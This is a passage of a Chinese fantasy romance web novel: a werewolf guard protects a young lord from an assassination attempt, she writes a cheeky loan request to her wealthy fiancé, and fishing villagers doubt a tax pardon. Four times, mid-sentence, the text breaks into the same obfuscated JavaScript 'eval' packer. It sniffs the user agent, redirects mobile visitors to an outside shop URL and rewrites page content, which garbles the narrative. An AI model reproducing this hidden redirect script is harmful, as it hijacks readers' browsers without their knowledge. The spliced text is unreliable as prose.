屋子里的壁炉烧得火热,但畏寒的艾米还是多裹了一条厚实的毛毯,她以一个舒服的姿势窝在沙发里,手上翻阅着一本关于狼人习性的书。 “我看到这本书说,第一缕月光照在狼人身上的时候,变身就会开始。” “但刚才那本书说,狼人变身是在月亮悬挂在树梢之上的午夜时分。” 她抬起头向今晚的主角问道:“哪个是真的?” “我一般在夜幕降临之后开始有感觉,如果没有药剂的话,大概是十一点钟后开始变身。” 艾米瞥了一眼时钟,现在已经九点钟,而雷尔夫一如两个钟前走进这间屋子里一样,沉默、冷静,声音没有一点变化。 “是什么感觉?”她忍不住好奇地问。 “很糟糕的感觉。”青年的语气没什么起伏,像是在描述一件其他人身上发生的事情:“一种事情即将不受掌控的焦躁不安,有序的世界在面前缓慢崩塌,这些石块一层层将你掩埋,让人想要从中挣脱出去,把所有禁锢住自己的东西撕碎。” “不过,注射药剂之后,就只剩疲惫了。” “药剂会压抑我的欲望,把我埋进无尽的沮丧和痛苦之中。” 艾米一边听着,一边在手边的小册子上写写画画。 这是她的爱好之一,在这个没有手机和网络的无聊世界,读书成为唯一有趣的事情。 尤其是她这种没有法术天赋的普通人。 如今有这么好一个观察对象在面前,不进行研究和考据实在有些浪费。 “那么,阻止月光照耀在你的身上会减轻你的痛苦吗?”艾米瞥了眼拉得严密的窗帘,问道。 青年点了点头。 “如果把你关在一丁点月亮见不到的地窖里,岂不是可以达成药剂一样的效果?” 雷尔夫这次摇了摇头:“月光会让我进一步狂化,让畜生的大脑更加兴奋,但遗憾的是,没有药剂的帮助下,我根本意识不到这点。我一样会疯了般朝能照耀月光的地方冲。” 艾米总结道:“月光就像催化剂,它并不是直接导致变身的因素。” “是的。” “除此之外,还有别的会加剧你失控的东西吗?” “月光,血肉。”青年顿了顿,迟疑了片刻,才继续说下去:“还有情欲。” “但对于狼人来说,这也是月圆之夜最渴望的东西。” 艾米点点头,继续用纸笔记录着。 雷尔夫就这么安静地在一旁看着写写画画的领主小姐,她皱着眉毛和小巧的鼻子,思考时手指下意识地玩弄着毛毯的流苏,像只不安分的、睡觉时也会抖动尾巴的小猫。 是香喷喷的漂亮小猫。 变成狼人之后,雷尔夫开始对所有的气味都开始敏感。 大多数情况下,这都是让他难受和烦躁的缘由。 酸臭的汗液、令人作呕的污水、黏腻的香水混杂着闷热的贵族舞会,以及他闻过许多次的,尸体的腐臭。 最开始,他甚至无法在旅馆入住,只能在野外留宿,因为在密闭的环境里,嗅到尿液、汗液的混杂气味,实在是一种莫大的酷刑。 可现在,他无比庆幸自己有这样一只敏感灵巧的鼻子,能闻到和五年前的那个冬天一样的淡淡清香。 不同于大部分贵族小姐身上的脂粉味,这味道更像是凛冽寒风带来的霜木气息。 离开北境的这几年,他都会时常想起那个味道,尤其是在南境潮湿闷热的环境里,在那个香气浓郁得几乎要将人淹没的地方,他全靠那个夜晚的回忆才能入睡。 木柴在燃烧中发出细碎的噼啪声响,雷尔夫感觉熟悉的焦躁不安像潮水一波波朝着自己的理智拍打。有那么一个瞬间,他感觉自己的灵魂从身体中抽离了出来,飘荡在这间温暖的房间上空,端详着所有一切令他觉得安心的事物。 他从来没觉得月圆之夜这么美好过。 哪怕在药效之下,大脑仍然传来钝钝的疼痛。 “你比我想象得还要安静,我甚至开始无聊了。”艾米打了个哈欠,她本以为会紧张地度过今晚,却没想到是困意先找了上门。 “再聊点什么吧,雷尔夫。讲点有意思的,我还没有问过你,你是哪里人?” “我在永夜城出生,在北境长大。” 艾米倚靠在扶手上,放松地支着上半身:“永夜城,那里是纳维公爵的领地。” 永夜城并不是因为漫长的冬季而命名,而是因为那里临近永夜之海,有着北境最大的港口,艾米去过几次,作为纳维公爵的附庸,她需要向他缴纳税金。 “那你是什么时候——”艾米顿了顿,想尽量换个说法来表达:“你的诅咒是什么时候出现的?” “十二岁,在一次打猎时出现了意外。” 雷尔夫平静地说。 十二岁。 艾米想起自己第一次见到他的样子,一只满是血污脏兮兮的半狼人,毛发打结,呼吸微弱,意识不清,却在醒来后龇起牙试图恐吓所有接近他的人。 “那应该是一段很艰难的日子。” 她忍不住感慨。 青年的双臂自然地搭在扶手上,拇指摩挲着柔软的绒面,眸光沉静:“这场意外让我有机会遇见您。” 艾米抬眼微微发怔,好像在为此感到惊讶。 “抱歉,我以为您会喜欢这种乐观。”雷尔夫轻笑,声音流露出与平常不同的放松。 也许是月圆之夜放大了他心底的欲望,看到领主小姐露出这样的表情,雷尔夫感觉十分愉悦,他坐在角落里,望着被灯光笼上一圈淡黄色光晕的艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055671|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米,生出一种难以言喻的满足。 就在这时,青年嗅到了一缕既熟悉又陌生的味道。 是沙苦叶的味道。 这是一种只在南境生长的植物,清醒醒神。在潮湿闷热的南方,不方便洗澡的佣兵们常用这种植物遮掩身上的血腥气。 他立刻意识到了不对劲。 “小心!” 几乎是雷尔夫喊出声的下一秒,尖锐的冰锥穿透窗户,径直朝沙发上的艾米刺了过来。 艾米在茫然中下意识地裹着毯子滚了一圈,堪堪避开深深扎进椅背的利器。 还来不及呼救,越来越多的冰锥刺破窗户,接二连三地朝着自己飞过来。 雷尔夫迅速抽出一旁佩剑,斩断了项圈上的绳子——这种级别的魔法道具,绑不住尚存理智的他——护在了艾米的身前。 银色的锋刃在空中翻转,和四面八方袭来的冰锥撞在一起,发出叮叮当当的声响。 屋内的骚动引起了门外护卫的注意,他们迫不及待要进来保护自己的领主,但密集的冰锥让穿着甲胄的小伙子也近不了身。 就在众人都没注意到的地方,一团灰黑色的烟雾在沙发底部汇聚,阴冷潮湿的骨架从其中钻出,冰凉的手附上了艾米的脚踝,她吓得跳上了沙发,几乎半蹲着将自己藏在雷尔夫的身后。 三面的窗户已经全部碎开了,与此同时,地面出现一个又一个深色的漩涡,不断从里面爬出来瘦小恶心的生物。 但无论有多少敌人,有雷尔夫挡在前面,沙发周围总是安全的。 “冒犯了——” 伴随着青年的一声闷哼,艾米感觉自己被整个端了起来,健硕的手臂隔着毛毯紧紧地箍住她的双腿,宽大的手掌将她的上半身用力塞进了怀里。 艾米环抱着雷尔夫的脖子不敢乱动。 她听到越来越多的利器划破空气扎进皮肉的声音,也闻到空气中越来越浓郁的铁锈的味道。 联想到刚才提到的血肉对狼人的影响,她开始担心雷尔夫的理智。尽管把脑袋深深地埋进了男人的胸前,但她仍然能清晰地感受到,手心的触感已经从人类的肌肤,逐渐变成了厚实的茸毛。 雷尔夫扣住她的手掌依然炙热坚定,温热的胸膛依然可靠,但喉咙深处开始发出低沉的、愤怒的嘶吼。 艾米只得强装镇定一遍遍撸着他后颈的狼毛,小声地喊着他的名字,努力维系着他的理智,确保抱着自己的青年分得清怀里的是主人,而不是敌人或者食物。 这办法似乎是有效的,雷尔夫像不知疼痛般顶着攻击带着艾米冲出了屋子。温热的血顺着他的肩膀滴落在两人之间,浸湿了艾米的前襟。 他缓缓俯身,小心翼翼地将艾米交给赶过来的护卫,而后提起钢制的佩剑从走廊的窗户一跃而下。 “雷尔夫!” 在空中照耀到月光的瞬间,雷尔夫彻底转变成了狼人。 窗外传来绵长疯狂的嚎叫,在寂静的夜晚,几乎整个小镇的人都听到了这声音。 5. 第 5 章 这是艾米第一次这么焦急地等待日出。 冬天的太阳是没有温度的灯泡,只散发着惨淡的光。 但她现在需要这光。 远处的森林晕出淡淡的橘色,小鸟已经开始聒噪地鸣叫,但天空还是青青蓝蓝混成一团。艾米抱着暖炉坐在阳台,心底盼着天边的晨光亮些,再亮些。 “你解锁了新的信息。”系统小声地提醒:“不看看吗?” 一张银色的卡片落在了艾米的手心,卡面上正是她和雷尔夫。 准确的说,是狼人形态的雷尔夫。 他用公主抱的姿势抱着自己着从塔楼最高的尖顶跃下,背后是一轮明亮饱满的圆月。 而自己正双手环绕着他的脖颈,露出灿烂的笑容。 【私人月光】 品质:A 技能:在有月亮的夜晚使用,目标对象将向你诉说他最真实的心底话。 生效时长:10分钟 “这是什么?”艾米心念一动,卡片消失在手心之中。 “约会卡。”系统解释道:“有S级、A级、B级三个品质,品质越高的技能越厉害。” 艾米沉思:“也就是说,我有机会获得更有用的、攻击性的技能?” 系统:“我就知道你想问这个。” 它停顿片刻补充道:“总之,多和男主交往就会机会掉落,不会让你失望的。” 艾米点点头。 这张卡的技能就很实用,可以用来拷问犯人。 当然,如果系统知道她是这么想的,估计会气得哼哼唧唧不愿意说话。 就在这时,背后传来熟悉的脚步声。 古德先生走到艾米身旁,为小主人披上外衣:“小姐,雷尔夫回来了。” - 昨晚的混乱让整个领主府都在忙碌。 尤其是护卫队长兰斯。 他让敌人闯进了领主的房间,这是不可饶恕的大事。 不过从结束后的痕迹来看,昨晚出现的神秘法师,根本不是护卫队能抵挡得了的。 幸亏雷尔夫在。 他没想到这个英俊的年轻人还能有这样好的一手剑术,能从这样的密集的攻击之下将小姐保护得如此好。 平心而论,就算是他也无法做到。如果昨晚是他值夜,恐怕自己现在已经是一具盔甲包裹着的尸体了。 连古德先生也不得不承认这点。清晨,他在见到赤裸着上身,背后是未凝固的血迹和伤痕的青年时,先是叹了口气,然后不由分说地先将人带去了管家专用的盥洗室,那里有为他提前准备好的疗伤卷轴和新衣服。 十分钟后,可怖的伤痕全部被衣服藏住,出现在艾米面前的是顶着湿漉漉头发、带着皂荚香气的雷尔夫。 “艾米小姐。”他嗓音沙哑,带着浓浓的疲倦。 他不知该如何形容自己的心情。 似乎每次出现在她面前的自己,都是这样狼狈不堪、失去理智的模样。 他花了五年才学会控制那种尖锐的想要撕裂自己大脑、把自己变成畜生一样的疯狂,他努力压制自己体内那该死的□□,重新拾起少年时学习的贵族礼仪,都是为了来到那女孩的身边。 但这些都搞砸了。 没人会信任一个无法控制自己的怪物。 尤其是这怪物还有着可怖的獠牙和锋利的长爪。 这不是她的错。 这只是自己无法选择的命运。 雷尔夫缓了缓心绪,提及最重要的事情:“我追到了行凶者,是三个南境来的法师。只是那时候我的理智实在不可控,他们现在只剩零散的尸块了,可能没什么有用的线索——” 艾米突然扑了上来。 她将自己的整个身体挤进青年的怀里,用耳朵和侧脸贴紧他的胸膛,倾听那颗有力跳动的心脏。 昨晚她也是这样靠紧他的。 在锵锵作响的剑声中,艾米紧紧环住住他的脖子。她既害怕密集的冰锥将自己扎个透心穿,也害怕这个抱着自己的青年突然变成失去理智的野兽,将自己整个撕碎。 她紧张又焦虑地撸着他后颈的狼毛,小声地喊着他的名字,听到不知是他还是自己的擂鼓般急促的心跳。 有那么几个瞬间,她吓得快喘不过气来,但每一次,雷尔夫都将她保护得好好的。 他朝着暗处的敌人发出愤怒的嘶吼,却用手臂牢牢箍住怀里的她,让艾米每次将要呕出来的心跳都好端端地落回实地。 雷尔夫似乎被这个猝不及防的拥抱定在了原地,他身体僵硬,只有手指轻轻弹动,就连呼吸也不自觉放缓,好像任何轻微的动作都会掀起巨大的海浪。 “太好了。” 领主小姐揪着他衬衫的后腰,柔软的手心隔着布料擦过未愈合的伤口,掠起一阵奇异的酥麻。 她仰起头,又小声重复了一遍:“太好了,你的心跳得好好的,你的人也好好的。” 应该说点什么吗?雷尔夫迟疑地生出这样的念头。 他感觉胸口处热腾腾地烧灼着,大脑一片空白,鼻腔被凛冽又令人沉醉的霜木清香充斥。 他轻轻抬起手臂,想要做些什么,却在手掌即将拢住领主小姐肩头的时候,又慢慢地、小心翼翼地放了下来。 幸好这个拥抱不算很长。 艾米很快松开了手,她后退了几步,让两人之间重新回到合乎礼节的距离。 她的眼睛弯成漂亮的月牙,语气轻松地说道: “你需要休息一下,我也是。等到我们的脑子都清楚了,再讨论这件事也不迟。” 远处的森林变成了刺眼的橘红色,天空开始呈现稀薄的淡青色,天光大亮,太阳升起了。 雷尔夫离开后,艾米拉上厚厚的窗帘,屋内瞬间暗了下来。 她终于松了一口气,瘫在了舒服的鹅绒床垫上。 “你还真是有天赋。”一直安静的系统冷不丁地说。 “因为你的这个拥抱,雷尔夫的好感度直接飙到了80。” “就一个拥抱而已。” “你解锁他才第三天,他就爱你爱得愿意为你去死了。” “多谢夸奖。”艾米有气没力地应着。 刚从死亡线上追回来一条命,心脏都还未恢复正常的跳动,肾上腺素飙升后的产生的淡淡失落像块石头压在她的心头。 她一会思考到底是谁想要刺杀她,一会挂念着没处理完的公务,一会又想起恶心的从黑雾里出来的生物和前襟沾上的黏稠的血液,或者想起雷尔夫将自己紧紧按在怀里的宽厚手掌。 脑子乱糟糟的搅成一团,没过多久,艾米沉沉地昏睡了过去。 - 作为王国最大的曜石矿产地,布佛里托又被称为宝石之城。 所有去过这座城市的人都说,布佛里托是一座金子镶嵌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055672|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城市,全世界的财富都在此汇聚,所有想要发财的商人都想在那有一间铺子。 这是除了王都之外人口最多的城市,每天都有无数的旅人出现在这里,也有数不清的人在这里消失。 理论上这座城市、包括那座曜石矿所在的城郊,都是南境大公洛克公爵的领地,但生活在布佛里托的人几乎没见过这位传说中的公爵大人,城市由洛克公爵任命的城主管理,而这位大人也只在收税和征兵时出现,大部分情况下,纷争由宝石商会和矿工协会的人来解决,剩下的那些,则遵从大自然最基本的法则——弱肉强食。 总之,这座城市里,混乱、危险和机遇并存,只要你有钱,你能在这里得到所有你想得到的一切,无论是情报,还是人。 在一间刚刚打烊的酒馆里,吧台后擦拭杯子的老板就正在款待这样一位特殊的老顾客。 “上次那个单子怎么样了?”戴着兜帽的男人把玩着手里的宝石,压低了声音地问。 老板见多了这样心急的顾客,满不在乎的回复道:“别着急,这么昂贵的价格,佣兵们是不会偷懒的。” 兜帽男打断他的话,直接了当地说:“再挂一单,上次价格的五倍,目标还是同一个人。” 这次连老板都惊讶地放下了手中的杯子。 要知道,这位客人上次的开价就已经超出了买凶杀人的市场价,而现在,五倍的价格,这都够那些刀尖舔血的家伙壮起狗胆去刺杀国王了。 但老板最后只嗯了一声,其余的什么都没多说。 他并非不好奇,但这行混久了,他十分清楚好奇是没有好下场的。 愿意花这么大一笔钱要一个名不见经传的小领主命的人,不介意多加一点添头,把知道这件事的中间人一起解决了。 比起好奇心,他更担心自己的命。 宝石在兜帽男的指尖翻转,在重新回到拇指和食指之间后,炸出了一朵小小的礼花。 他起身离开酒馆。 自始至终,都没有动自己面前那杯酒水。 与此同时,在凛冽寒风刮过的北境,托利亚小镇的领主府迎来了从未有过的紧张气氛。 昨晚的遇袭是从未有过的罕见情况,艾米想破了脑袋都想不明白,自己这个穷乡僻壤的小领主,怎么会招惹到这么凶残的敌人。 “他们是从南境来的,身上有苦沙叶的味道。在其中一个人的身上,我找到了这个。”雷尔夫捏起一枚小巧的宝石:“这是布佛里托常见的货币。” 得益于北境的严寒,七零八落的尸块在冰雪的包裹下没有任何异味,除了样子触目惊心了些,但同时也少了些血流的可怖,这让初次亲临凶案现场的艾米没这么想吐。 “布佛里托?”艾米从未去过这个城市,却也听说过它的盛名:“那个宝石之城?” “我什么时候和布佛里托扯上关系了?奇怪,是不是这群人搞错目标了?” 而一旁古德先生却在听到“布佛里托”的名字后却露出异样的神色。 艾米注意到他的表情,略带不解地用眼神询问。 古德先生沉思片刻,终是下定决心张口道:“小姐。您知道洛克公爵吗?” 艾米点点头:“嗯,知道,布佛里托的领主,那位据说是王国最有钱的男人。” 古德先生微不可见地叹了一口气。 “他就是克莱恩先生为您订下的未婚夫,小姐。” 6. 第 6 章 “那位洛克公爵,也是可攻略对象吧?” 艾米在心底悄悄询问道。 平日里话痨的系统一反常态,安静得像锯了嘴的葫芦。 但这种反常恰恰进一步证实了洛克公爵的特殊,也让艾米对自己的猜测更加确认。 它之前就承诺过,会让最有钱的男人爱上自己。 而这片大陆,没人比洛克公爵更富有。 他是王国最大的曜石矿所有者。 曜石,是一种能够激发魔法的特殊矿石,魔法师们常用它镶嵌在法杖上,来实现更好的法术效果。这种神奇的小石头还能用来储存一定剂量的魔法,因此也常常用来制作魔法装备或魔法道具,让一些没有法术天赋的人也能使用魔法,比如艾米脖子上那根项链便是用曜石制作,能够抵挡一次大魔导师级别的攻击。 如果说这个世界是充满奇迹的神奇大陆,那曜石就是这份奇迹背后的燃料。因此可想而知,这位几乎垄断了王国曜石矿生意的洛克公爵,该有多么巨额的财富。 同时,作为宝石之城布佛里托的领主,洛克公爵本人就是未婚少女最想拥有的那颗宝石。 据说他本人非常英俊,自从进入贵族社交圈后,就连续五年蝉联王国寡妇和未婚小姐们最想嫁的对象第一名。 艾米本人倒是从未见过他,因为她身处偏僻的小城,本来就极少收到其他贵族们的邀请。十六岁那年,她本应该出现在王城每年春天的社交舞会上,这是每位贵族小姐首次踏入社交圈的重要仪式,但因为克莱恩先生的病,她回信婉拒了王城的邀请。 总之,即使是鲜少社交的艾米也听说过洛克公爵的名字,这要不是可攻略对象,她这么多乙女游戏就白玩了。 只是不知道,他会为自己的领地提供什么样的加成呢? 注意力回到眼前的刺杀事件来。艾米摇了摇头,否认了公爵的嫌疑:“如果洛克公爵还有脑子,就不会直接从布佛里托找人来杀我。” 古德先生也这么认为,婚契是洛克公爵亲自签下的,如果他不愿意娶艾米小姐的话,最开始就可以拒绝。 除非—— 管家眉头紧锁,除非这是洛克公爵的追求者,或者说,是他的某位情人因此生了嫉妒,才做出如此的行径。 按理说,克莱恩先生亲自为艾米小姐挑选的未婚夫,应当不会是放荡不堪的男人,但出于对贵族男性普遍的警惕,古德先生还是对公爵大人产生了深深的怀疑,说不定是他太会伪装,以至于将克莱恩先生都骗了过去。 不过他并未将自己的想法说出口,可爱烂漫的艾米小姐不应当为这种肮脏的事情烦忧。古德决定先暗地里调查一番、有了确凿的证据后再做定夺。 尸体上已无更多线索,艾米最后围绕残肢尸块走了一圈,手指捻着领口又厚又软和的绒毛,一边思考一边语速放缓,慢慢说出自己的想法:“不过,我们目前的信息不多,似乎只能先沿着布佛里托这条线索查下去。既然他是布佛里托的领主,也许可以找他帮帮忙。” 艾米略微停顿,而后干净利索的决定道:“我要给他写一封信。” “顺便——”她像是想到了什么有趣的事情,弯了弯眼睛,露出狡黠的笑:“找他借点钱吧。” 古德先生欲言又止。 他情感上并不想让小姐和这样一位很可能品行放荡的贵族大人在一起,但理智上又很清楚,洛克公爵是一位多么适合结婚的优渥对象。 于是他只能旁敲侧击地劝说:“小姐,您已经决定了要和洛克公爵结婚了吗?” 领主小姐轻轻笑了笑,小巧的脸在毛茸茸围脖的包裹下白得晃眼:“我什么时候说要和他结婚了?” 古德先生愣住,犹豫张口:“如果您不...这样的金钱纠葛,恐怕会对您的名声有损,影响您以后的婚姻。” “那就影响吧。”艾米满不在乎地说:“反正我也没打算结婚。” 在一旁默不作声的雷尔夫不知为何突然松了口气,他知道这也许是领主小姐的玩笑话,却仍然为此感到愉悦,嘴角轻轻上扬。 他不想探究这愉悦感产生的动机,只放松地抬起手臂搭上自己的佩剑,指腹在剑柄的浮雕处轻轻摩挲。 阳光撒在艾米泛红的鼻尖上,这让她看起来像一枚还未熟的甜果。 雷尔夫的心底泛起难以控制的、像初春化冻的溪流般源源不断的柔软,以及一缕极其不显眼的,混杂在其中难以分辨是忠诚还是占有欲的满足。 - 系统在脑海里唉声叹气。 “你是不是对浪漫过敏?” 半响后,它才憋出这么一句话。 艾米正在绞尽脑汁地对着信纸遣词造句,对系统的发问摸不清头脑,迟钝地“啊?”了一声。 一分钟后,她终于后知后觉地反应过来:“你说我不应该朝洛克公爵借钱?” “你对我的行为这么关注,所以说他果然是可攻略对象吧?” 系统支支吾吾了半天,索性默认了:“等他爱上你后,自然会自愿地为你献上财富。” 艾米将羽毛笔蘸满墨水,语气轻松:“那不是更好,到时候钱不用还了。” 系统的语气好像急得团团转:“谁会喜欢一个上来就对自己的钱有这么大占有欲的女人啊!” “他这么有钱,给我点怎么了。”艾米理直气壮,连借都不说了:“我可是她未婚妻!” 系统尖叫:“你明明都没打开过婚契!你知道的吧,对方能知道你没拆过那卷附加了魔法痕迹的契约卷轴。” 艾米摆摆手说:“我只是想攻略他,可没想要把自己的领地搭进去,我担心拆了后就真的要跟他结婚了。” 她手上动作不停,在信纸简单两三句话将自己遇到的刺杀事件说清楚后,就另起一行开始编织对洛克公爵的赞美。 系统继续唉声叹气,这让她的大脑无法思考要用什么比喻句来恭维公爵大人慷慨的美德。 “你之前的宿主都是怎么攻略有钱人的。”她放下笔问道。 系统难得见艾米如此虚心的模样,立刻侃侃而谈:“有钱人见多了因为钱围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055673|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上来的苍蝇,最喜欢的就是那种不为金钱所动的女人。” “所以你不嫁给他是对的,他们会对逃婚和主动取消婚约的女人感兴趣,觉得从没有女人对自己这样,然后进一步发现你是那种特别独立自主,还对他一点都不感兴趣的小白花,再然后就会开始对你产生好奇,开始不自觉地关注你,最后无法抑制地爱上你。” “嗯哼。”艾米谆谆善诱:“我们的目的是让他爱上我,然后路径是让他开始关注我,你是这个意思吧?” 这么说是没错,但系统总觉得宿主要说什么反驳的话,所以犹豫不决地嗯了一声。 “那我现在就提前跳过前面的步骤,找他借一大笔钱,让他狠狠关注我。” 艾米沉吟片刻:“这么说来,写五千金币还是太保守了,我怕他记不住我,还是借五万吧。” “五万?你领地一年的税收还不到一千金!你是不是有点太贪心了?” “谢谢,不用你提醒,我很清楚自己有多穷。” “另外,连你都觉得惊讶,说不定他也是。‘居然有这么贪婪的女人!’这么一来,他不就记住我了么?” 艾米话音刚落,突然灵光乍现,想出了绝妙的句子,立刻在纸上写下: 您的慷慨如同河流惠泽每一片土地,您的胸怀让我联想到悲悯的神明,在您的滋养之下,贫瘠的土地也会开出花朵来赞美您,路过的鸟儿也会编织歌曲来歌颂您。 她在心底默念了一遍,欣赏自己的文采。 很好,接下来就可以转到借钱的段落了: 当然,慷慨只是您众多品格中最微不足道的美德,您的美好品格就像夜晚的繁星点点。 试问,有谁能数清大海里的水滴呢?就像现在的我无法将您的美德一一枚举,实在是遗憾。 紧接着,她笔锋一转,在结尾处落笔: 最后,劳烦慷慨的公爵借给您未婚妻,一个可怜的刚失去父亲的女孩—— 系统不放弃地劝说:“怎么?是不是觉得五万还是太夸张了?” “我建议你还是少借点,能填补上雪灾的损失就行,并且你承诺会限时还给他,来塑造你在父亲去世后艰难守护人民的形象,让他对你心生怜爱。” “要知道,男人一旦开始心疼你,就离爱上你不远了....” “不,我只是在担心五万还是写少了。” “我听说他几年前的春季社交舞会上,送过公主一枚价值八万金币的戒指。” “算了,五万也够了。”艾米下定了决心,把结尾补足: 最后,劳烦公爵大人借给您未婚妻,一个可怜的刚失去父亲的女孩,五万枚金币,我将不胜感激。 届时,托利亚的每只小鸟都会歌颂您的慷慨。 她抖了抖信纸,确保最后一行字迹干涸后,迅速塞进信封里,然后唤来侍从,将信寄出去。 “记住,用最贵的传送卷轴。” 领主小姐表情严肃地叮嘱道。 ——即使她抠门惯了,也知道这个时候决不能省。 7. 第 7 章 在托利亚小镇的东边,是一块被称为泥巴湾的渔港。 这块领地属于哈尔男爵,而男爵本人并不待在这里,他住在北境最大的城市永夜城里,连收税都交给下面的人去办。 这是大多数有领地的贵族做派,哈尔男爵也不例外,他不关心泥巴湾的那位镇长吞了多少金币,只要自己能收到数目满意的税金就行。 对下属太严格是没人愿意为自己干活的,要说这世上谁会不贪呢?连国王的税务官也不例外,哈尔男爵曾经参加过北境大公纳维公爵款待王国税务官的酒会,那个土豆似胖乎乎的男人根本不需要张口,装满金币的魔法口袋就塞进了他的怀里。 这个世界就是这样运转的。 泥巴湾的渔民们也认可这一点。 他们分不清什么男爵还是女爵,他们把那些穿着锃光瓦亮的牛皮靴子、从来不会被泥巴点子溅到身上的人统一称为老爷们,即使这些人很可能只是贵族们身边的管事或者随从,是和他们一样的平民而已。 老爷们说什么就是什么。他们可能昨天还说税金是一枚金币,而今天就突然要涨到两枚,再过了半个月又出现码头使用费和海滩清理费的新名目。 没人敢提出反对意见,因为老爷们身边跟着穿银色盔甲还带着佩剑的侍卫,他们的剑锋比阳光下海面的鳞片波光还刺眼,没人敢多说什么,大家都怕那柄锋利的剑会落到自己脑袋上,血会迅速晕进烂泥地里,最后称为烂泥的一部分。 再说了,谁的日子不是这样过的呢? 这个世界就是这样运转的。 因此住在泥巴湾的查理才会在听到弟弟巴特提起托利亚的事情时这么惊讶。 “怎么可能?”他甚至招手让自己的妻子过来一起听:“这小子居然说托利亚的领主前几天免除了他们往后整整三年的赋税!” 查理的妻子玛丽倒是镇定得多:“这种事情说起来也不算稀奇。还记得前几年有个大胡子的老爷来过么?他也是说,以后捕鱼不需要交税金了,大家还没高兴两天,没想到又多了个什么维修金,还有个什么使用金的,总之零零散散加起来,比之前交得更多哩。” 查理想起这件事,点了点头。他摆出哥哥的架子,顺着妻子的话说下去,来掩盖自己刚才没想到这一层的愚笨。 “你还年轻,见识得少,不知道也正常。” 说起来,他们全家都在泥巴湾当渔民,只有巴特这小子,十几岁的时候喜欢到处乱跑,后来就去了隔壁托利亚小镇找了份活做。 那地方查理知道,是个没什么吃的地方,土地贫瘠得要命,长出的红薯都带着一股沙土味。还不如泥巴湾这里,最起码只要勤奋点,靠捕鱼填饱肚子绝对没问题的。 “真的。”巴特着急解释:“我现在就在领主府的厨房工作,我们的领主大人颁布的法令,从来没有半途就改了的道理。” “她说减免居民三年的赋税,就一定是真的,一分钱也不会再收我们的。” 他斩钉截铁的样子让查理和玛丽也不禁在心底犯嘀咕。 巴特是在领主府的厨房工作是不假,还因为他是泥巴湾来的,所以莫里大婶把鱼肉采购的活交给了他。 一开始查理和玛丽知道巴特揽下了这活后很是为他高兴。能为老爷们工作的人没有穷的,尤其是这种采购工作,金币只要从手里过一圈,光是蹭的油水都够盖一栋新房子的,那时候巴特也能娶上个媳妇,养活几个孩子了。 可当查理看到巴特手里那可怜巴巴的几枚银币后直接愣住了,这是给领主采购?要说是餐馆进货还差不多! 在巴特解释了半天,不是自己手黑心狠扣了大部分金币,而是就这么些钱后,查理才半信半疑地相信。 不过多了一个稳定的收入来源,查理一家还是很高兴。 自此,巴特常常隔段时间就过来一次,买一些新鲜的海鱼。 从托利亚过来也就半天的行程,他一般前一天来,住一晚,在第二天就走。 有时候他也会聊起一些那边的事。在巴特口中,他们的前任领主大人就已经是一等一的大好人,没想到新的艾米小姐更是宽厚亲切,比她父亲更善良,前段时间的暴雪之后,出资帮大家重新修了房子,前几天,更是颁布了免除往后三年赋税的法令。 查理和玛丽每每听到,都以为这小子是中了邪。 听听他说的什么鬼话! 自己只吃几枚银币的便宜海鱼,还要免除领地上所有子民的赋税,这世上哪有这样的领主? 人的想象无法越过自己的认知,所以无论巴特怎么说,查理和玛丽都觉得他是因为过于天真而对老爷们抱有不合时宜的幻想。 因为世界就是这样运转的,千百年来都从未改变过。 “早点休息吧,巴特。”玛丽收起手中的编织物,她眯起眼睛都看不清针线了,这说明又到睡觉的时间了。 穷人是不点油灯的,只要太阳落下,就上床睡觉,一直躺到第二天晨曦。 而在无事可做又格外漫长的冬天,玛丽和查理这对夫妻唯一可做的娱乐就只有那个。 不过玛丽的运气不好,前两个孩子都因为各种各样的原因死掉了,这并不是什么罕见的事,穷人的孩子本来就容易夭折,只是幸得光明神保佑,现在他们又有了一个新的孩子。 玛丽摸了摸肚子,有那么一个瞬间,她产生了一种恍惚感。 这个孩子,出生后会怎么样呢?会健康长大,成为一个巴特这样的小伙子吗? 还是会和ta的哥哥姐姐一样,早早就回到神的怀抱里呢? 她已不再娇嫩的粗粝手掌隔着衣服摩挲着还未完全隆起的孕肚,一切的感知都是钝钝的,不明确的。 玛丽隐约感觉自己面前是一条笔直的泥泞的小路,就像泥巴湾随处可见的滩涂地一样,所有人都裸露着脏兮兮的小腿,他们站在路的那边,让她快点跟上。 瞧,咱们的未来就在那头。 所有人都这么对她说。 泥巴也溅在她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 